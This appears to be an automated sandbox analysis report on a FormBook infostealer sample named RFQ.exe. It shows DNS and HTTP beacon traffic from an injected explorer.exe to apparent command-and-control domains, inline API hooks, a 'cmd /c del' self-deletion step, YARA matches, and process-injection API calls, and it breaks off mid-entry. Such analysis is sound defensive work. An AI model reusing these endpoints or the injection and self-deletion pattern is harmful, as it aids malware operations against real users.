Feb 23, 2021 09:03:13.052021980 CET	8.8.8.8	192.168.2.6	0xf73b	No error (0)	www.ghoshtechno.com	www.ghoshtechno.com.ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)
Feb 23, 2021 09:03:13.052021980 CET	8.8.8.8	192.168.2.6	0xf73b	No error (0)	www.ghoshtechno.com.ghs.googlehosted.com	ghs.googlehosted.com		CNAME (Canonical name)	IN (0x0001)
Feb 23, 2021 09:03:13.052021980 CET	8.8.8.8	192.168.2.6	0xf73b	No error (0)	ghs.googlehosted.com		142.250.185.179	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.eudorabcantik.com

www.skincolored.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49746	144.208.69.172	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 23, 2021 09:02:32.254739046 CET	9682	OUT	GET /md5/?idBXUjVP=2OYyEXTLFIqjBC5O5m8RJZ0r5htmlVRkTtWUdd8YXANk4Q730sjJcSottHUfDbvwisHPrnhI0g==&EBZ=ZVItdHbxztF0a HTTP/1.1 Host: www.eudorabcantik.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 23, 2021 09:02:32.452405930 CET	9688	IN	HTTP/1.1 404 Not Found Date: Tue, 23 Feb 2021 08:02:32 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>3404
Feb 23, 2021 09:02:32.452428102 CET	9689	IN	Data Raw: 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 Data Ascii: 1 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff;
Feb 23, 2021 09:02:32.452450991 CET	9690	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 34 32 38 42 43 41 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 20 61 3a 68 6f 76 65 72 2c 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 Data Ascii: color: #428BCA; } .contact-info a:hover, .contact-info a:focus, .contact-info a:active { color: #2A6496; } .reason-text { margin: 20px 0; font-size:
Feb 23, 2021 09:02:32.452472925 CET	9692	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 2e 61 64 64 69 74 69 6f 6e 61 6c 2d 69 6e 66 6f 2d 69 74 65 6d 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 Data Ascii: .additional-info-items { padding: 20px; } .container { width: 90%; } .additional-info-items ul li { width: 100%; text-ali
Feb 23, 2021 09:02:32.452492952 CET	9693	IN	Data Raw: 36 2b 76 72 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2b 69 35 65 64 54 41 41 41 41 50 58 52 53 54 6c 4d 41 41 51 45 43 41 77 51 46 42 67 63 49 43 51 6f 4c 44 41 30 4f 44 Data Ascii: 6+vr///////////////////////////////////////+i5edTAAAAPXRSTlMAAQECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygoKSorLC0uLzAwMTIzNDU2Nzg5H7x0XAAACndJREFUeAHtXXlzGs8R7TQ3CFkHxpKxhIwtIBwgIuYY4u//uVJ2qpLKD7Q8t2Z7xpD3n6ska9/2bM9Mvz6oGEyXFoKHfm
Feb 23, 2021 09:02:32.452513933 CET	9694	IN	Data Raw: 37 74 45 78 6b 68 56 77 33 36 79 7a 33 48 43 6d 30 71 45 76 45 5a 39 43 37 76 44 59 5a 65 57 41 51 68 6e 4b 6b 51 55 47 2f 69 37 4e 44 6e 43 4c 2f 68 77 62 76 4a 72 36 6d 69 50 4b 48 54 61 4f 45 35 34 78 70 42 47 72 6c 38 52 49 58 4b 58 31 62 6b Data Ascii: 7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPex3NaIQLwHIIQlQkPbwsRFpdmdb/hD8TSDCwTBu8W30sSIiS7P9NwZ7CgAeDjlaM9ktAD0+Mxwrse8XsTaMoRIoCaZmg3BQgLqrHVCBu3qhW3+AAOhwp5
Feb 23, 2021 09:02:32.452533960 CET	9696	IN	Data Raw: 42 76 79 42 45 71 49 69 34 49 39 61 6b 79 2b 32 72 32 39 35 39 37 2f 5a 44 36 32 2b 78 4b 56 66 42 74 4e 4d 36 71 61 48 52 47 36 31 65 72 58 50 42 4f 66 4f 36 48 4e 37 55 59 6c 4a 6d 75 73 6c 70 57 44 55 54 64 59 61 62 34 4c 32 7a 31 76 34 30 68 Data Ascii: BvyBEqIi4I9aky+2r29597/ZD62+xKVfBtNM6qaHRG61erXPBOfO6HN7UYlJmuslpWDUTdYab4L2z1v40hPPBvwzqOluTvhDBVB2a4Iyx/4UxLrx8goycW0UEgO4y2L3H+Ul5XI/4voc6rZkA3Bpv3njfS/nhR781E54N6t4OeWxQxuknguJ1S84ARR4RwAqtmaCFZnRiL2lbM+HaAC5npq+IwF+6hhfBWzNNlW6qCrGXRyza0y
Feb 23, 2021 09:02:32.452552080 CET	9696	IN	Data Raw: 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 63 69 6f 6e 20 63 6c 61 73 73 3d 22 72 65 73 70 Data Ascii: </head> <body> <div class="container"> <secion class="response-info"> <span class="status-code">37404</span> <span class="status-reason">
Feb 23, 2021 09:02:32.452568054 CET	9696	IN	Data Raw: 38 38 0d 0a 4e 6f 74 20 46 6f 75 6e 64 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 63 74 2d 69 Data Ascii: 88Not Found</span> </section> <section class="contact-info"> Please forward this error screen to 28www.eudorabcantik.com's <a href="mailto:41machinemessages@forum.inmotionhosting.com?subject=E
Feb 23, 2021 09:02:32.452629089 CET	9698	IN	Data Raw: 62 0d 0a 28 6e 6f 6e 65 29 20 66 6f 72 20 0d 0a 31 35 0d 0a 77 77 77 2e 65 75 64 6f 72 61 62 63 61 6e 74 69 6b 2e 63 6f 6d 0d 0a 37 37 0d 0a 2f 6d 64 35 2f 3f 69 64 42 58 55 6a 56 50 3d 32 4f 59 79 45 58 54 4c 46 49 71 6a 42 43 35 4f 35 6d 38 52 Data Ascii: b(none) for 15www.eudorabcantik.com77/md5/?idBXUjVP=2OYyEXTLFIqjBC5O5m8RJZ0r5htmlVRkTtWUdd8YXANk4Q730sjJcSottHUfDbvwisHPrnhI0g==&EBZ=ZVItdHbxztF0a port 680 on 6eTuesday, 23-Feb-2021 15:02:32 WIB"> WebMaster</a>.
Feb 23, 2021 09:02:32.452646017 CET	9698	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 67 2d 73 79 73 2f 70 6f 77 65 72 65 64 5f 62 79 5f 63 70 61 6e 65 6c 2e 73 76 67 22 20 68 65 69 67 68 74 3d 22 32 30 22 20 61 6c 74 3d 22 63 50 61 6e Data Ascii: <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copyright 2016 cPanel, Inc.</div> </a> </div> </footer> </body

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49749	52.58.78.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 23, 2021 09:02:50.753595114 CET	9736	OUT	GET /md5/?idBXUjVP=s4q+K9SYeQAH/ol1LHDCX3FORxxmw3fUJuDZ6OIV0kEaH/C8CzqjXw4/MJNt0fJkrNVLW2mfGw==&EBZ=ZVItdHbxztF0a HTTP/1.1 Host: www.skincolored.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 23, 2021 09:02:50.794495106 CET	9737	IN	HTTP/1.1 410 Gone Server: openresty/1.13.6.2 Date: Tue, 23 Feb 2021 08:02:25 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 37 0d 0a 3c 68 74 6d 6c 3e 0a 0d 0a 39 0d 0a 20 20 3c 68 65 61 64 3e 0a 0d 0a 34 66 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 72 65 66 72 65 73 68 27 20 63 6f 6e 74 65 6e 74 3d 27 35 3b 20 75 72 6c 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 73 6b 69 6e 63 6f 6c 6f 72 65 64 2e 63 6f 6d 2f 27 20 2f 3e 0a 0d 0a 61 0d 0a 20 20 3c 2f 68 65 61 64 3e 0a 0d 0a 39 0d 0a 20 20 3c 62 6f 64 79 3e 0a 0d 0a 33 62 0d 0a 20 20 20 20 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 72 65 64 69 72 65 63 74 65 64 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 73 6b 69 6e 63 6f 6c 6f 72 65 64 2e 63 6f 6d 0a 0d 0a 61 0d 0a 20 20 3c 2f 62 6f 64 79 3e 0a 0d 0a 38 0d 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 7<html>9 <head>4f <meta http-equiv='refresh' content='5; url=http://www.skincolored.com/' />a </head>9 <body>3b You are being redirected to http://www.skincolored.coma </body>8</html>0

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xE3
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xE3
GetMessageW	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xE3
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xE3

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: RFQ.exe PID: 7080 Parent PID: 5804

General

Start time:	09:01:00
Start date:	23/02/2021
Path:	C:\Users\user\Desktop\RFQ.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\RFQ.exe'
Imagebase:	0x9b0000
File size:	863232 bytes
MD5 hash:	D0776103A16D59CF8A53D84854377371
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.395391792.0000000003DD9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: RFQ.exe PID: 5652 Parent PID: 7080

General

Start time:	09:01:30
Start date:	23/02/2021
Path:	C:\Users\user\Desktop\RFQ.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0xab0000
File size:	863232 bytes
MD5 hash:	D0776103A16D59CF8A53D84854377371
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.444247401.0000000001220000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.443676021.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.444182169.00000000011F0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3440 Parent PID: 5652

General

Start time:	09:01:32
Start date:	23/02/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff6f22f0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 496 Parent PID: 3440

General

Start time:	09:01:51
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe
Imagebase:	0x11e0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.593192539.0000000000A30000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.592662426.0000000000640000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000E.00000002.593093257.0000000000840000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6260 Parent PID: 496

General

Start time:	09:01:56
Start date:	23/02/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\RFQ.exe'
Imagebase:	0x2a0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 6200 Parent PID: 6260

General

Start time:	09:01:56
Start date:	23/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: RFQ.exe PID: 7080 Parent PID: 5804 RFQ.exeCOMMON

Executed Functions

Function 075D6010, Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b503447fb30fbb5920e91f6d66a85e9e31798c86877d5d3ffdcaf6dc3bb3bbc4
Instruction ID: f2379738f5b84ee9127d6e71b75acd255056f09bf98968a7951cdc3bdb865b2b
Opcode Fuzzy Hash: b503447fb30fbb5920e91f6d66a85e9e31798c86877d5d3ffdcaf6dc3bb3bbc4
Instruction Fuzzy Hash: 90412CB1E056089FD708DFAAD9456DDBBF3AF89304F14C4A9C508AB365EB305A468F50

Uniqueness

Uniqueness Score: -1.00%

Function 054160C0, Relevance: 2.6, Strings: 2, Instructions: 80COMMON

Download Yara Rule

Strings

$%l, xrefs: 05416142
$%l, xrefs: 05416108

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID: $%l$$%l
API String ID: 0-4074844668
Opcode ID: f6b5d1ef1f83aae530e13dbaace495180ba748350f45a9c1cc8d4a350762514f
Instruction ID: ebda34aeb5666ea003a2b59e82ef8cc9421ced424662c72db8b2cb75d6fc079e
Opcode Fuzzy Hash: f6b5d1ef1f83aae530e13dbaace495180ba748350f45a9c1cc8d4a350762514f
Instruction Fuzzy Hash: 2D21A3316006008FC714DF78D4499EBBBF6EF84218B15846EE90ACB761EF71E9098F91

Uniqueness

Uniqueness Score: -1.00%

Function 054160B0, Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

$%l, xrefs: 05416142
$%l, xrefs: 05416108

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID: $%l$$%l
API String ID: 0-4074844668
Opcode ID: fc6a4330ed1ffc352b75a6fa019c4b43c78d5b2c8bdf0f465e894f918193357e
Instruction ID: d875b742a0d71a3cb800b10fae967d43bf4065a7402ad5546022e0f3f76af936
Opcode Fuzzy Hash: fc6a4330ed1ffc352b75a6fa019c4b43c78d5b2c8bdf0f465e894f918193357e
Instruction Fuzzy Hash: 9D11B1306006058FC710DF68C4459EBB7F6EF80315B01856AE906DB761EF70ED098FA1

Uniqueness

Uniqueness Score: -1.00%

Function 075DF698, Relevance: 1.6, APIs: 1, Instructions: 143processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,?,00000009,?,?,?,?,?,?,?), ref: 075DF7EB

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cb389c431d399b83d021f401e9d204397417426dc2d3ec4fc773ea9f559ea52c
Instruction ID: db63b92880b689e70c3f8dd02fd7c1fd33b53a8c63784778fbc444f1a983afeb
Opcode Fuzzy Hash: cb389c431d399b83d021f401e9d204397417426dc2d3ec4fc773ea9f559ea52c
Instruction Fuzzy Hash: 6751F4B5D003199FDB64CF99C980BDDBBB2BF48314F15809AE909B7250DB719A88CF51

Uniqueness

Uniqueness Score: -1.00%

Function 075DFB18, Relevance: 1.6, APIs: 1, Instructions: 65injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 075DFBA5

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 9ed3beb834c369368814c8cdd05bfe5528374f2694ab94d56d02d09ef4824693
Instruction ID: 957dfc1ad789efff8d33cac2a89228f18bcd398ef2233dba4c557a480c704155
Opcode Fuzzy Hash: 9ed3beb834c369368814c8cdd05bfe5528374f2694ab94d56d02d09ef4824693
Instruction Fuzzy Hash: FD21E6B19003599FDF10CF99D985BDEBBF4FB48314F50842AE919A3250D774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 075DF9A0, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 075DFA1F

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: cd4835965af6a79af7350ef5658971a7c4845e3ec93c02ab89c81a46f9d7e4e8
Instruction ID: eeb5108904c950fe2eceeb4db5cd778d4a5d099a8489903b4005375c6105f0ab
Opcode Fuzzy Hash: cd4835965af6a79af7350ef5658971a7c4845e3ec93c02ab89c81a46f9d7e4e8
Instruction Fuzzy Hash: 6821E2B59006599FCB10CF9AD984BDEBBF4FB48320F50842AE918A3250D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 075DF8E0, Relevance: 1.6, APIs: 1, Instructions: 58threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 075DF957

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 413c4138a40625ec62ed7eb3a4db85920f2473aea1c777d513ce2a81dcb615f6
Instruction ID: cd0706faed17f9f78da32734b5c8ea5e4b32d257db4878b00790bd28267f406f
Opcode Fuzzy Hash: 413c4138a40625ec62ed7eb3a4db85920f2473aea1c777d513ce2a81dcb615f6
Instruction Fuzzy Hash: BB2106B1D0061A9FDB10CFAAC9857DEFBF4BB48224F54812AD428B3340D778A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 075DFA70, Relevance: 1.5, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 075DFADB

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 57143048e3f0432cc8020d2581a0598eae5b6475112d95cff6e780f9ccb4e3e5
Instruction ID: 4f37a376c23c2d354924cf9e92b8b0da9a8afd5cad8fd8c655a41af28051f983
Opcode Fuzzy Hash: 57143048e3f0432cc8020d2581a0598eae5b6475112d95cff6e780f9ccb4e3e5
Instruction Fuzzy Hash: C211F5B59006499FCB20CF99C984BDEBBF4FB48324F148419E529A7250DB75A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 075DFBF0, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 075DFC4F

Memory Dump Source

Source File: 00000000.00000002.408284924.00000000075D0000.00000040.00000001.sdmp, Offset: 075D0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 54acf5aecb8d25895af0abe4dd2fce0788b72e6c4f2bd546fe9e107e05c43f6b
Instruction ID: a5858cd599f34fd40a62f376e04dcc53508b17c9eb8291f301676bf712fcd0ec
Opcode Fuzzy Hash: 54acf5aecb8d25895af0abe4dd2fce0788b72e6c4f2bd546fe9e107e05c43f6b
Instruction Fuzzy Hash: 6D1115B18046098FCB20CF99C588BDEBBF4EB48324F20881AD429B3350D774A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 054192A8, Relevance: .6, Instructions: 634COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71235ca88c9bf27a38a1d6908164439b6e7d8b6b7e0130847e4eecae2f0f43ff
Instruction ID: 63b1c4bdae8bf05538af4abc94d66e129205a8fc0d55711659c1de512bfb4dfb
Opcode Fuzzy Hash: 71235ca88c9bf27a38a1d6908164439b6e7d8b6b7e0130847e4eecae2f0f43ff
Instruction Fuzzy Hash: F7620031910619CFCB14EF68C894ADDB7B1FF55304F1086AAD94AA7265EF30AAC5CF81

Uniqueness

Uniqueness Score: -1.00%

Function 05410040, Relevance: .6, Instructions: 551COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c3df6c62d9171a96b4adb622c13c14a2053aa722533f89881b757c1cb53f088
Instruction ID: bb9ced72ba3d1a804f8b571493374e85ca4c8feae67d3e7cf35f904487ead2ec
Opcode Fuzzy Hash: 3c3df6c62d9171a96b4adb622c13c14a2053aa722533f89881b757c1cb53f088
Instruction Fuzzy Hash: 6642C831E106198BCB24DF68C9946DDF7B1BF89304F1186AAD559BB261EB30AAC5CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0541A790, Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.402953599.0000000005410000.00000040.00000001.sdmp, Offset: 05410000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cae64ed5baab49a7472d2b43c7a17b38361df4f61af259a089dda2d89b13a67
Instruction ID: ee1d090d7326271fd4339d897ee1c83fb0509f2be3572f538e0e585956e6a8c2
Opcode Fuzzy Hash: 8cae64ed5baab49a7472d2b43c7a17b38361df4f61af259a089dda2d89b13a67
Instruction Fuzzy Hash: 10222A30A10615CFCB14DF69C998A9DB7B2FF88304F1585AAD90AEB365DB30AD45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05419299, Relevance: .4, Instructions: 422COMMON

Download Yara Rule

Memory Dump Source

